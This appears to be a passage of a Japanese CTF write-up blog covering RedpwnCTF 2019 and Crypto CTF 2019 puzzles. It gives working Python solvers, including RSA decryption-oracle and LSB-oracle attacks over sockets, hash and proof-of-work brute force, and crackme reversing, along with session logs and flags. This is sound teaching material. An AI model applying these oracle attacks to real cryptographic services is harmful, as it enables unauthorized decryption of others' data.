On tonights menu --- 10485910661373480596140468854797253830914908725803272876816485686276902628057778759292305172061019044232250676293059139641000026951403933590024167944514335730442842345172670561172487230954584512528850778122556817196231537448296299122819959704605190626895738163232844957263442903361359063323170113054176766100646161492250998985578726049258046931390538377407183812034754758386989178143750650697347917443227761561824023706148845476500095709590668192917643455438038442372272132195555328961866837514080656562120508270196987106742991883175814472291179326357087232235997164857526373785124704041862782850941054794903948171602
1)Encrypt
2)Decrypt
3)Exit
1
enter ur message : 
0
4197528120670400604876365921281280670066912072309719597467085586651376952767836064318403163072477738894389379324157191523330596628259489532064512816202899473604108766984812825250598920658450357975235978884050646390324352664360102930754820052542438358212503529188213139794314891289834056122346987193395334447084629353110915413266903810583873909673043760637815936817983452015825177626263424370114176216290961174188658948839645100299963737114588021649966307823778781830697399450295565104919962189104045301087740851287011455094808299558561584167689492396472457669866048568215209405861472324893291269964058235365023251653
1)Encrypt
2)Decrypt
3)Exit
1
enter ur message : 
1
4841387437522384774124361619251602872465448501042770926818576678627468458296716276680169714999018217529105138514025145535264387216602043459048871487677068167613012104197343310718404978959091650385788384519581650320332410559698312412310847176529293355414777201343044473388838802144112428768953628942580295564158722785916042543242693709327663240799315756208332944377341823521277097380060396511298047362380271070858964307432344338352157598453652942213496946949788457637650822816637223879043738402612308819611294302009250743887053578320294140535288895524510669925790167590487664233745404589230545566703046303464428542162

$ nc 68.183.158.95 7777
Welcome to your local encryption decryption service John
On tonights menu --- 2167978155868718145789182701651894111606761811872320655249646845867721585844478990982394055622719821571828013199591336887400201541025546738659549527436963455797883589082480958397997361105535013530120049614614073156901663406421906434098027397840032892084737122502335884995582228239276109359911278356244595475236509499528057645565094668393942057393090624418329927133729708629090079287374615078380018890961460454949030060543758425094637243710163773121500543680909887009705153913374620205988557231931092229337378178485167012200523893664089721516880471020843552868737496119793732735678689624980372358329325592694357989295
1)Encrypt
2)Decrypt
3)Exit
2
enter text to decipher: 
0
0
1)Encrypt
2)Decrypt
3)Exit
2
enter text to decipher: 
1
1

$ nc 68.183.158.95 7777
Welcome to your local encryption decryption service John
On tonights menu --- 15108440853334769532426406906163695871688520497854231085787178720124346330048643799752954038889766603309175151505531085634738451383150608481459846402028657086623508871785269133740005016610757039272848366105653584354087585393612091397385999382109537185362676739654966914207054413376489825356067537221629825984370686911759911099246324972259857176544320105965510436262691108336130053636047850332321671917073754152027799396595349775972049920312573347022370619290770575948664004432651758305482855164640840117212234653371627973955994147556195646961704317639965512917170646334036741457561162881161444543980966000645864890255
1)Encrypt
2)Decrypt
3)Exit
1
enter ur message : 
0
5516235759159226173742819383442153103210906375498849338536655458648523179884520146243958788103654206700094617524782450575054226367588721466921625870010315870391282423672718228538985973960894818224346099045395693983236691136362473756888380532577314614642045822330139560178697844912058083661736868409911486364345845948187730758906039270560410654294240020955030400009427598646448218700956339252136648330766407566652519581197014145639013896519149465670788229422803527577845102637612590933393923289502602146953126756538690353803432402174381737441825602202880718192300968783511276379068796367298437892223448823392863394887
1)Encrypt
2)Decrypt
3)Exit
2
enter text to decipher: 
5516235759159226173742819383442153103210906375498849338536655458648523179884520146243958788103654206700094617524782450575054226367588721466921625870010315870391282423672718228538985973960894818224346099045395693983236691136362473756888380532577314614642045822330139560178697844912058083661736868409911486364345845948187730758906039270560410654294240020955030400009427598646448218700956339252136648330766407566652519581197014145639013896519149465670788229422803527577845102637612590933393923289502602146953126756538690353803432402174381737441825602202880718192300968783511276379068796367298437892223448823392863394887
48

ここでわかったことは、以下の通り。

・フラグと思われるデータの暗号が提示されている。
・暗号の種類はRSA暗号
・暗号と復号を選択でき、合計2回まで試すことができる。
 暗号はbyte文字列で入力すると、暗号結果を数値で返す。
 復号は数値で入力すると、復号結果を数値で返す。

以下の方針で復号する。

1.nを取得。
 復号で-1を指定すると、その結果はn-1になることを利用する。
2.cの2乗を指定し、復号する。
 mの2乗が得られるが、nが非常に大きいので、Low Public Exponent Attackで復号する。
import socket
import gmpy
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('68.183.158.95', 7777))

data = recvuntil(s, '3)Exit\n').rstrip()
print data

c = int(data.split('\n')[1].split(' --- ')[1])

#### get n ####
print '2'
s.sendall('2\n')
data = recvuntil(s, '\n').rstrip()
print data
print '-1'
s.sendall('-1\n')
data = recvuntil(s, '\n').rstrip()
print data
n = int(data) + 1

data = recvuntil(s, '3)Exit\n').rstrip()
print data

#### get dec(c**2) ####
print '2'
s.sendall('2\n')
data = recvuntil(s, '\n').rstrip()
print data
c2 = str(c ** 2)
print c2
s.sendall(c2 + '\n')
data = recvuntil(s, '\n').rstrip()
print data
m2 = int(data)

#### get dec(c) ####
m = gmpy.root(m2, 2)[0]
assert pow(m, 2, n) == m2
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

Welcome to your local encryption decryption service John
On tonights menu --- 4407310384344744559634957725010694638443742996979587133216526008058433976606317517106626661668804623130308780155059812181215198027377854430575907000333681480618805722483651983469101439483537490835890412335162744892857319064827984726342390253726212518308859893607979683400380666427781056142970039387352955570871329129743676632278876592317068679470256451956541744238831167522798586391596080489296745509475311540862565262329391086487609297037080408751734264306865594457333144625496487063624312014147302482292282719586341666457955470948051510757426531717376609431485166076435111350208550372339070997859548162461662991499
1)Encrypt
2)Decrypt
3)Exit
2
enter text to decipher:
-1
20458405486639479765498618668548059407782852245848722326337988484890272843770087351001442827340711794980519833069124719506624589922868608623978016090222873801824998909822279980355035046799721050422454196247883237151926682669083567239052346551610749486102051691684914490669652417474645970701209699958529597375425886586884334748721519303193019343957778070001526053250655775286666074970689030774039780129713781580627841153533505392919683637497198550630099634478579832592095670411310902194112743916089132083656512482198741083440903024546555480184506369978286469221306836089775077535726979146520381681645033314724366576532
1)Encrypt
2)Decrypt
3)Exit
2
enter text to decipher:
19424384823953020011132161673079202905320549920209492179714092550914741928796389057168861868343689635339807158925780092200701963531985549695276268908252479705410335899197865246270400852600041510071396852075081837007812509201635803782647412697889045558724024305164879160162664297858914438860372528822563845138009491622243915724325764230266058721222937843340291425075398720995993162253037919134018062277719027851541104502276063989666455888194620729526583286996765509397455517725125725963760007329239381924684517541489625579821348589668915043013418371460287308104732424230867457321853982841247479532136060607909075275979756478677938069327808204681782296518047864260070931567913614030260503313573955903693195221486665291166329407374507981642299596403689079072113528733127389065991293070084859720331779680257580692521487674744310776709217340974431859619714185994234343350404194083773697986307833237905443063278278929675225211469933211788880562329253132438841572450869358298983877511763617777356983056221667855805109805684235969376157441036077933196114226509069798545151811214738971401524104241873451213854512591201696907014072611213486111214350443789421385340308662363931258894486418478456399047101109708458358304831906867395805746267001
55382753472373737060855607180565475102219017834395954156654914018053019604884382997907855185795659425976606267092658315715302575423208142248541385480026547845485519515936870617957441478803259582601124444441811176537395161
d4rk{th3_ch33si3st_m4th_p1zz4_f0r_d1nn3r!}c0de
d4rk{th3_ch33si3st_m4th_p1zz4_f0r_d1nn3r!}c0de

RedpwnCTF 2019 Writeup

この大会は2019/8/13 1:00(JST)~2019/8/17 1:00(JST)に開催されました。
今回もチームで参戦。結果は3001点で926チーム中59位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (Misc)

Disocordに入り、#flagチャネルのメッセージにフラグが書いてあった。

flag{why_c4nt_th3y_ju5t_us3_irc}

Tux Trivia Show (Misc)

$ nc chall.2019.redpwn.net 6001
Welcome to Tux Trivia Show!!!
What is the capital of Fiji?
Suva
Correct! Next question coming...

What is the capital of Washington?


Time out!

国の首都やアメリカの各州の州都を答えていく問題。https://github.com/icyrockcom/country-capitals/blob/master/data/country-list.csvで首都のリストを入手。アメリカの州都のリストも別途入手する。
ただ、微妙にスペルが違っていたり、2バイト文字を使っていたりするので、調整する。

import socket
import re

capital_dic={
    'Alabama': 'Montgomery',
    'Alaska': 'Juneau',
    'Arizona':'Phoenix',
    'Arkansas':'Little Rock',
    'California': 'Sacramento',
    'Colorado':'Denver',
    'Connecticut':'Hartford',
    'Delaware':'Dover',
    'Florida': 'Tallahassee',
    'Georgia': 'Atlanta',
    'Hawaii': 'Honolulu',
    'Idaho': 'Boise',
    'Illinois': 'Springfield',
    'Indiana': 'Indianapolis',
    'Iowa': 'Des Moines',
    'Kansas': 'Topeka',
    'Kentucky': 'Frankfort',
    'Louisiana': 'Baton Rouge',
    'Maine': 'Augusta',
    'Maryland': 'Annapolis',
    'Massachusetts': 'Boston',
    'Michigan': 'Lansing',
    'Minnesota': 'St. Paul',
    'Mississippi': 'Jackson',
    'Missouri': 'Jefferson City',
    'Montana': 'Helena',
    'Nebraska': 'Lincoln',
    'Nevada': 'Carson City',
    'New Hampshire': 'Concord',
    'New Jersey': 'Trenton',
    'New Mexico': 'Santa Fe',
    'New York': 'Albany',
    'North Carolina': 'Raleigh',
    'North Dakota': 'Bismarck',
    'Ohio': 'Columbus',
    'Oklahoma': 'Oklahoma City',
    'Oregon': 'Salem',
    'Pennsylvania': 'Harrisburg',
    'Rhode Island': 'Providence',
    'South Carolina': 'Columbia',
    'South Dakota': 'Pierre',
    'Tennessee': 'Nashville',
    'Texas': 'Austin',
    'Utah': 'Salt Lake City',
    'Vermont': 'Montpelier',
    'Virginia': 'Richmond',
    'Washington': 'Olympia',
    'West Virginia': 'Charleston',
    'Wisconsin': 'Madison',
    'Wyoming': 'Cheyenne'  
}

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_capital_from_country(s):
    for countryinfo in countries_list:
        country = countryinfo.split(',')[0][1:-1]
        capital = countryinfo.split(',')[1][1:-1]
        if country == s:
            return capital
    return ''

def get_capital_from_state(s):
    if s in capital_dic:
        return capital_dic[s]
    else:
        return 'Not Found!'

with open('country-list.csv', 'r') as f:
    countries_list = f.readlines()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chall.2019.redpwn.net', 6001))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(1000):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n').rstrip()
    print data
    pattern = 'capital of (.+)\?'
    m = re.search(pattern, data)
    country = m.group(1)
    capital = get_capital_from_country(country)
    if capital == '':
        capital = get_capital_from_state(country)
        if capital == '':
            break
    print capital
    s.sendall(capital + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data

data = s.recv(8192)
print data

実行結果は以下の通り。

    :
Round 1000
What is the capital of Hungary?
Budapest
Correct! Next question coming...

Here is your flag: flag{TUX_tr1v1A_sh0w+m3st3r3d_:D}
flag{TUX_tr1v1A_sh0w+m3st3r3d_:D}

BabbyPwn (Pwn)

ncで接続するだけ。

$ nc chall.2019.redpwn.net 4001
So you want the flag, I see
You should stop
Stealing is wrong
You wouldn't steal a car
Well...
Okay
But know this
You are irredeemably a bad person
flag{st341ing_is_wr0ng}
flag{st341ing_is_wr0ng}

Generic Crackme (Reverse Engineering)

$ ./generic_crackme
plz enter password plz:
aaa
lolno

正しいパスワードがフラグになるはず。IDAで開き、処理を追う。
main関数は以下のようになっていて、sub_1168の結果により分岐する。
f:id:satou-y:20190818162522p:plain
sub_1168関数は以下のようになっていて、先頭からsub_1159関数の結果、以下のようになっていればよい。

e, p, h, h, z

f:id:satou-y:20190818162613p:plain
sub_1159関数は以下のようになっていて、1を足しているだけ。
f:id:satou-y:20190818162701p:plain
以上のことから、パスワードはdoggy

flag{doggy}

Generic Crackme Redux (Reverse Engineering)

$ ./generic_crackme_redux 
Enter access code: 123
Bzzzzrrrppp

正しいアクセスコードがフラグになるはず。IDAで開き、処理を追う。
main関数は以下のようになっていて、sub_1169の結果により分岐する。
f:id:satou-y:20190818162942p:plain
sub_1169関数は以下のようになっていて、処理をした後の結果比較をしている。

1. a = アクセスコード << 2 ; a = アクセスコードの4倍
2. a += アクセスコード ; a = アクセスコードの5倍
3. a += a; a = アクセスコードの10倍
4. aと0xac292(=705170)を比較し、同じならOK

f:id:satou-y:20190818163357p:plain
アクセスコードを求めるためには10で割ればよい。

705170 / 10 = 70517
flag{70517}

Dunce Crypto (Crypto)

シーザー暗号そ推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 7:
flag{I_d0nt_w4nt_t0_p4y_my_tax3s}
flag{I_d0nt_w4nt_t0_p4y_my_tax3s}

Super Hash (Crypto)

10回md5を取ると、CD04302CBBD2E0EB259F53FAC7C57EE2になるものがフラグ。md5は英大文字にすることに気を付け、ブルートフォースする。

import itertools
import string
import hashlib

def ten_hash(s):
    res = s
    for i in range(10):
        res = hashlib.md5(res).hexdigest().upper()
    return res

h = 'CD04302CBBD2E0EB259F53FAC7C57EE2'

found = False
for size in range(1, 5):
    for c in itertools.product(string.printable, repeat=size):
        text = ''.join(c)
        if ten_hash(text) == h:
            found = True
            flag = 'flag{%s}' % text
            print flag
            break
    if found:
        break
flag{^}

Trinity (Crypto)

lowercaseで答えるということから、アルファベットの大文字と小文字の区別がないエンコード方式と推測できる。0を., 1を-, 2をスペースにしてモールス信号として変換する。

- . .-. -. .- .-. -.-- .. ... -- --- .-. . .- .-. -.-. .- -. . -... ..- - .. -... . - -.-- --- ..- - .... --- ..- --. .... - --- ..-. .. - ..-. .. .-. ... - 

https://morsecode.scphillips.com/translator.htmlで変換する。

TERNARYISMOREARCANEBUTIBETYOUTHOUGHTOFITFIRST

フラグは小文字で答える必要があるので、小文字にする。

ternaryismorearcanebutibetyouthoughtofitfirst

010000100110100101101110011000010111001001111001 (Crypto)

$ nc chall2.2019.redpwn.net 5001
011101010110110001110100011010010110110101100001011101000110010100100000011001010110111001100011011100100111100101110000011101000110100101101111011011100010000001110011011001010111001001110110011010010110001101100101

0101011101000001010100100100111001001001010011100100011100111010001000000100100100100000011011110110111001101100011110010010000001110011011000010111100100100000001100000010000001101111011100100010000000110001

0010100001001110001011000110010100101001: (110001100101111011100111001001001101011011100101000110010000001010101011010011110010111110011001010001000001001000011111101100000111000001000110101111111011100010001011110111000110101100000101001000000101111000111010100110000101111100111010010001100000100010010110011110001101001111110010110000100000111101100111100100001100101111000100111101001001010101001001100100110011001110011010000001100110100010001010101011011111001110000100100000011011110100101010110110101110000110111001010100000000010000001100011110100001101011110100100101001111010110111101100011011001111011010101100100010101011111010011011000101110010111000110001001111010010010100110111000100101000000010011000101110001011100100101100110101000111111011111000100101100100001101000101110000101001001111111111100110100010011110000011110100011111101100110000000000000111100100010101100010000101111100111101111101110111100111010000101100001101011101000111011000010100110000101011010011001000001110000011011100101100111001100000010101000101110101101001000010000101, 10000000000000001)

0100010101001110010000110101001001011001010100000101010001000101010001000010000001001101010001010101001101010011010000010100011101000101: 10010000010001011010010101101100000000110101011010010110011111001001111101111100100110110011011110010000111000001100110011110011011100101000001011001100101001111100011011010110101110100100111010000101001000111110101010110100101000111101000001101111010001100110000101010100000010001011011010000110010001111011000111010001100110110100000101100000101000001101010110010011011110001110111111001010011011010011100110100110100111100001011001011010100111111101100011110001000000010100001100100100100010101100110000000111011111100101100100000011110101110110000010101000001111100001110011010011100010110010010010110110000111100000000001011011110010110111000010110001101001011001001000110111110011101111000010011000010110100011000000010101100011010011110101010110110111100001101110011101111100101001000011101111000001110000001100000011001101010110011111010110011010111000101100010001101111011101111101110101100110010100010111100000000010001010110111101000000000110100101100001111000101000001000001100101011111100010101011111001100100

> 1
1
> 0
0

0, 1を一部ASCII文字にしてみる。

ultimate encryption service

WARNING: I only say 0 or 1

(N,e): (110001100101111011100111001001001101011011100101000110010000001010101011010011110010111110011001010001000001001000011111101100000111000001000110101111111011100010001011110111000110101100000101001000000101111000111010100110000101111100111010010001100000100010010110011110001101001111110010110000100000111101100111100100001100101111000100111101001001010101001001100100110011001110011010000001100110100010001010101011011111001110000100100000011011110100101010110110101110000110111001010100000000010000001100011110100001101011110100100101001111010110111101100011011001111011010101100100010101011111010011011000101110010111000110001001111010010010100110111000100101000000010011000101110001011100100101100110101000111111011111000100101100100001101000101110000101001001111111111100110100010011110000011110100011111101100110000000000000111100100010101100010000101111100111101111101110111100111010000101100001101011101000111011000010100110000101011010011001000001110000011011100101100111001100000010101000101110101101001000010000101, 10000000000000001)

ENCRYPTED MESSAGE: 10010000010001011010010101101100000000110101011010010110011111001001111101111100100110110011011110010000111000001100110011110011011100101000001011001100101001111100011011010110101110100100111010000101001000111110101010110100101000111101000001101111010001100110000101010100000010001011011010000110010001111011000111010001100110110100000101100000101000001101010110010011011110001110111111001010011011010011100110100110100111100001011001011010100111111101100011110001000000010100001100100100100010101100110000000111011111100101100100000011110101110110000010101000001111100001110011010011100010110010010010110110000111100000000001011011110010110111000010110001101001011001001000110111110011101111000010011000010110100011000000010101100011010011110101010110110111100001101110011101111100101001000011101111000001110000001100000011001101010110011111010110011010111000101100010001101111011101111101110101100110010100010111100000000010001010110111101000000000110100101100001111000101000001000001100101011111100010101011111001100100

RSA暗号で、この後0, 1で数値を指定すると、復号した結果の末尾を0, 1で返してくれると推測できる。LSB decryption oracle attackで復号する。

import socket
from fractions import Fraction
from Crypto.Util.number import long_to_bytes

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def bin_2_ascii(b):
    a = ''
    for i in range(0, len(b), 8):
        a += chr(int(b[i:i+8], 2))
    return a

def lsb_oracle(s, enc):
    data = recvuntil(s, '> ')
    print data + enc
    s.sendall(enc + '\n')
    data = recvuntil(s, '\n').strip()
    print data
    return int(data)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chall2.2019.redpwn.net', 5001))

pt = ''

data = recvuntil(s, '\n').rstrip()
print data
pt += bin_2_ascii(data) + '\n'

data = recvuntil(s, '\n').rstrip()
print data
pt += data + '\n'

data = recvuntil(s, '\n').rstrip()
print data
pt += bin_2_ascii(data) + '\n'

data = recvuntil(s, '\n').rstrip()
print data
pt += data + '\n'

data = recvuntil(s, '\n').rstrip()
print data
pt += bin_2_ascii(data.split(':')[0]) + ':' + data.split(':')[1] + '\n'

data = recvuntil(s, '\n').rstrip()
print data
pt += data + '\n'

data = recvuntil(s, '\n').rstrip()
print data
pt += bin_2_ascii(data.split(':')[0]) + ':' + data.split(':')[1] + '\n'

print pt

N = int(pt.split('\n')[-4].split(': (')[1].split(', ')[0], 2)
e = int(pt.split('\n')[-4].split(': (')[1].split(', ')[1][:-1], 2)
c = int(pt.split('\n')[-2].split(': ')[1], 2)
print 'N =', N
print 'e =', e
print 'c =', c

data = recvuntil(s, '\n').rstrip()
print data
pt += data + '\n'

bounds = [0, Fraction(N)]

i = 0
while True:
    print 'Round %d' % (i+1)
    i += 1

    c2 = (c * pow(2, e, N)) % N
    lsb = lsb_oracle(s, bin(c2)[2:])
    if lsb == 1:
        bounds[0] = sum(bounds)/2
    else:
        bounds[1] = sum(bounds)/2
    diff = bounds[1] - bounds[0]
    diff = diff.numerator / diff.denominator

    if diff == 0:
        m = bounds[1].numerator / bounds[1].denominator
        break
    c = c2

flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

    :
Round 1024
> 101100011100000111000110110010110111000101100011100100111111100000011010111100011011011011011110000100101011110111010100000101000100011010101111111011100000100101001111010000011010000011101011001010110010010010111001100110011100111000001101101100010101000111101011000011011010101001111110001101100011001111100110011101000100110000000100101100111101100000111100110110100010011000011011010110011110010010011011110100101110101000111110000000000111000101110111010010101011001100000011000001110001110000110111101010001101000000000111111001101001001101011101000111010101101001110111100111111110101111111101110000011001101110100111000100001100100000011110010011010001111110011011111111111110101101010111100111001101100110000001101110011111010100101110110000101101100101010001111110111111100010010000010010110101001101010110111001110100000010101111010001000000010001001011001100000010000000111011010111010111100111111111101101110100011001111111111111101100101000110011100001110100111100000010101110100001001011111111111011101000
1
flag{y0u_s0lved_th3_l3ast_s1gn1f1c1nt_RSA!-1123}
flag{y0u_s0lved_th3_l3ast_s1gn1f1c1nt_RSA!-1123}

Survey (Misc)

アンケートに答えたら、フラグが表示された。

flag{thks_for_playing}

Crypto CTF 2019 Writeup

この大会は2019/8/10 15:00(JST)~2019/8/11 15:00(JST)に開催されました。
今回もチームで参戦。結果は541点で639チーム中49位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome

問題にフラグが書いてあった。

CCTF{W3lc0m3_2_Crypt0CTF_2019}

Decode me!

問題の暗号は以下の通り。

D: mb xwhvxw mlnX 4X6AhPLAR4eupSRJ6FLt8AgE6JsLdBRxq57L8IeMyBRHp6IGsmgFIB5E :ztey xam lb lbaH

"D:"の部分はよく顔文字で使われていて、文の最後に入ることが多いため、逆にしてみる。

Habl bl max yetz: E5BIFgmsGI6pHRByMeI8L75qxRBdLsJ6EgA8tLF6JRSpue4RALPhA6X4 Xnlm wxvhwx bm :D

なんとなく最初はThis isとなりそうな感じがする。シーザー暗号で復号できそう。英大文字、小文字、数字でシフト数が異なるようだ。調整しながら復号する。この文中で真ん中あたりにBase64文字列が出てくるので、CCTF{のBase64文字列になるよう数字のシフト数を決める。

import string

def letters_decode(s):
    d = ''
    for c in s:
        if c in string.lowercase:
            index = string.lowercase.index(c)
            index += 7
            if index >= 26:
                index -= 26
            d += string.lowercase[index]
        elif c in string.uppercase:
            index = string.uppercase.index(c)
            index += 12
            if index >= 26:
                index -= 26
            d += string.uppercase[index]
        elif c in string.digits:
            index = string.digits.index(c)
            index += 5
            if index >= 10:
                index -= 10
            d += string.digits[index]
        else:
            d += c
    return d


ct = 'D: mb xwhvxw mlnX 4X6AhPLAR4eupSRJ6FLt8AgE6JsLdBRxq57L8IeMyBRHp6IGsmgFIB5E :ztey xam lb lbaH'
ct = ct[::-1]

pt = letters_decode(ct)
print pt

pt_words = pt.split(' ')
flag = pt_words[4].decode('base64')
print flag

実行結果は以下の通り。

This is the flag: Q0NURntzSU1wTDNfYlU3X20xeDNkXzV1QnM3aXR1VDEwbl9DMXBoM1J9 Just decode it :P
CCTF{sIMpL3_bU7_m1x3d_5uBs7ituT10n_C1ph3R}
CCTF{sIMpL3_bU7_m1x3d_5uBs7ituT10n_C1ph3R}

Time Capsule

lの計算がそのままだと時間がかかるので、変換する。

l = pow(2, pow(2, t), n)
  = pow(2, pow(2, t, phi(n)), n)

phiを求めるために、nを素因数分解する。

$ python -m primefac 16801166465109052984956796702219479136700692152603640001472470493600002617002298302681832215942994746974878002533318970006820414971818787350153626339308150944829424332670924459749331062287393811934457789103209090873472485865328414154574392274611574654819495894137917800304580119452390318440601827273834522783696472257727329819952363099498446006266115011271978143149347765073211516486037823196033938908784720042927986421555211961923200006343296692217770693318701970436618066568854673260978968978974409802211538011638213976732286150311971354861300195440286582255769421094876667270445809991401456443444265323573485901383
16801166465109052984956796702219479136700692152603640001472470493600002617002298302681832215942994746974878002533318970006820414971818787350153626339308150944829424332670924459749331062287393811934457789103209090873472485865328414154574392274611574654819495894137917800304580119452390318440601827273834522783696472257727329819952363099498446006266115011271978143149347765073211516486037823196033938908784720042927986421555211961923200006343296692217770693318701970436618066568854673260978968978974409802211538011638213976732286150311971354861300195440286582255769421094876667270445809991401456443444265323573485901383: 15013 899583643974479 654269804672441 1112193819715441 706144068530309 639438000563939 1070689247726159 634947980859229 583343756982313 1079289330417443 1027313536626551 721443717105973 667954470985657 654170414254271 609245815680559 612567235432583 971274523714349 841183196554507 795581973851653 864339847436159 1110918654474373 873021823131881 1111516996694389 746232585529679 635224892351513 1018452110902339 1098516592571807 942872831732189 922745965897867 951697329369323 817224718609627 1067609726096989 815694637597057 585503197547927 1059774237802229 1108654254305327 737993471695639 744872496387077 884236929660113 1017566110290559 1025985735184171 1107673252158281

あとはm = l ^ z ^ cなので、そのまま復号すればフラグになる。

from Crypto.Util.number import *

c = 30263951492003430418944035844723976843761515320480688994488846431636782360488888188067655841720110193942081554547272176290791213962513701884837856823209432209367951673301622535940395295826053396595886942990258678430777333636450042181585837395671842878310404080487115827773100028876775230121509570227303374672524063165714509957850966189605469484201028704363052317830254920108664916139026741331552127849056897534960886647382429202269846392809641322613341548025760209280611758326300214885296175538901366986310471066687700879304860668964595202268317011117634615297226602309205086105573924029744405559823548638486054634428L
n = 16801166465109052984956796702219479136700692152603640001472470493600002617002298302681832215942994746974878002533318970006820414971818787350153626339308150944829424332670924459749331062287393811934457789103209090873472485865328414154574392274611574654819495894137917800304580119452390318440601827273834522783696472257727329819952363099498446006266115011271978143149347765073211516486037823196033938908784720042927986421555211961923200006343296692217770693318701970436618066568854673260978968978974409802211538011638213976732286150311971354861300195440286582255769421094876667270445809991401456443444265323573485901383L
t = 6039738711082505929
z = 13991757597132156574040593242062545731003627107933800388678432418251474177745394167528325524552592875014173967690166427876430087295180152485599151947856471802414472083299904768768434074446565880773029215057131908495627123103779932128807797869164409662146821626628200600678966223382354752280901657213357146668056525234446747959642220954294230018094612469738051942026463767172625588865125393400027831917763819584423585903587577154729283694206436985549513217882666427997109549686825235958909428605247221998366006018410026392446064720747424287400728961283471932279824049509228058334419865822774654587977497006575152095818L

ps = [15013, 899583643974479, 654269804672441, 1112193819715441, 706144068530309, 639438000563939, 1070689247726159, 634947980859229, 583343756982313, 1079289330417443, 1027313536626551, 721443717105973, 667954470985657, 654170414254271, 609245815680559, 612567235432583, 971274523714349, 841183196554507, 795581973851653, 864339847436159, 1110918654474373, 873021823131881, 1111516996694389, 746232585529679, 635224892351513, 1018452110902339, 1098516592571807, 942872831732189, 922745965897867, 951697329369323, 817224718609627, 1067609726096989, 815694637597057, 585503197547927, 1059774237802229, 1108654254305327, 737993471695639, 744872496387077, 884236929660113, 1017566110290559, 1025985735184171, 1107673252158281]

phi = 1
for p in ps:
    phi *= p - 1

l = pow(2, pow(2, t, phi), n)
m = l ^ z ^ c
flag = long_to_bytes(m)
print flag
CCTF{_______________________________________________Happy_Birthday_LCS______________________________________________}

Aron

最初にPoWを解く必要がある。テスト的に以下のコードでh_typeとh_tailを変更して、PoWをクリアしながら、いろいろ試してみる。

import itertools
import hashlib
import string

h_type = 'sha224'
h_tail = '1ae159'

for c in itertools.product(string.letters + string.digits
    + '!#$%&()+-*=.,:+[]{}', repeat=4):
    X = ''.join(c)
    if h_type == 'md5':
        h = hashlib.md5(X).hexdigest()
    elif h_type == 'sha1':
        h = hashlib.sha1(X).hexdigest()
    elif h_type == 'sha224':
        h = hashlib.sha224(X).hexdigest()
    elif h_type == 'sha256':
        h = hashlib.sha256(X).hexdigest()
    elif h_type == 'sha384':
        h = hashlib.sha384(X).hexdigest()
    elif h_type == 'sha512':
        h = hashlib.sha512(X).hexdigest()
    if h[-6:] == h_tail:
        print X
        break
$ nc 167.71.62.250 12439
Submit a printable string X, such that sha256(X)[-6:] = f1aad2
zt#8
*********************************************************************************
| hey! I have developed an efficient pseudorandom function, PRF, but it needs   |
| deep tests for security points!! Try hard to break this PRF and get the flag! |
| In each step I will compute the f_a(n), f_a(n + 1), f_a(n + 2), f_a(n+3), and |
| f_a(n + 4) for secret verctor a, and for your given positive number 0 < n < p |
*********************************************************************************
| for n = 275375130124552092384344654968321344654, and with these PRF parameters: 
| (p, g) = (0xf98f6e918a8d287cf4145736d5fc79ed, 0x86e41987aa2ef8bdb5bf5a6ef09ecd4c) 
| the five consecutive random numbers generated by our secure PRF are: 
| f_a(n + 0) = 85628683890107630736954068519595535503
| f_a(n + 1) = 20492301712678833292060709831593766594
| f_a(n + 2) = 315273394287387390882420840867043653898
| f_a(n + 3) = 142988296692952236913896578977523244303
| f_a(n + 4) = 15997982160052493148067363504633357039 
| Options: 
|	[G]uess next number! 
|	[P]RF function 
|	[N]ew numbers
|	[Q]uit
P
def gg(tup, a, x):
	(_, p, g), n = tup, len(a)
	assert len(bin(x)[2:]) <= n
	X = bin(x)[2:].zfill(n)
	f_ax = g
	for i in range(1, n):
		f_ax *= pow(g, a[i] * int(X[i]), p)
	return f_ax % p

| Options: 
|	[G]uess next number! 
|	[P]RF function 
|	[N]ew numbers
|	[Q]uit
N
Do you want to provide desired integer as `n'? [Y]es [N]o
Y
enter your integer n: 
12
Sorry, your input integer is small :P
| Options: 
|	[G]uess next number! 
|	[P]RF function 
|	[N]ew numbers
|	[Q]uit
G
please guess and enter the next number: 
1234
Sorry, your input is not corr3ct!
| Options: 
|	[G]uess next number! 
|	[P]RF function 
|	[N]ew numbers
|	[Q]uit

どうやら、この関数を前提に、次の数値を予測する問題らしい。
...がnを指定できる。ある程度大きいnを指定して、次にn-1を指定すれば、簡単に予測できそう。

$ nc 167.71.62.250 12439
Submit a printable string X, such that sha224(X)[-6:] = 1ae159
UsIX
*********************************************************************************
| hey! I have developed an efficient pseudorandom function, PRF, but it needs   |
| deep tests for security points!! Try hard to break this PRF and get the flag! |
| In each step I will compute the f_a(n), f_a(n + 1), f_a(n + 2), f_a(n+3), and |
| f_a(n + 4) for secret verctor a, and for your given positive number 0 < n < p |
*********************************************************************************
| for n = 132552965466391004194176144496829619622, and with these PRF parameters: 
| (p, g) = (0x8f1e139d7d17174be5b10d4d221cce41, 0x7948a8c5a86a37ac047f4662babb216d) 
| the five consecutive random numbers generated by our secure PRF are: 
| f_a(n + 0) = 29800306021970074348391444895357688152
| f_a(n + 1) = 91168159348484675661422991959872493361
| f_a(n + 2) = 62153616520877495836568245956622643734
| f_a(n + 3) = 78554585804352070084705555833196060927
| f_a(n + 4) = 52184015618889528536185436865056973999 
| Options: 
|	[G]uess next number! 
|	[P]RF function 
|	[N]ew numbers
|	[Q]uit
N
Do you want to provide desired integer as `n'? [Y]es [N]o
Y
enter your integer n: 
91168159348484675661422991959872493362
| the five consecutive random numbers generated by our secure PRF are: 
| f_a(n + 0) = 32670879450088786326381592358223094486
| f_a(n + 1) = 118085043291686788180598465855490294402
| f_a(n + 2) = 78379454949324689875746607817271265989
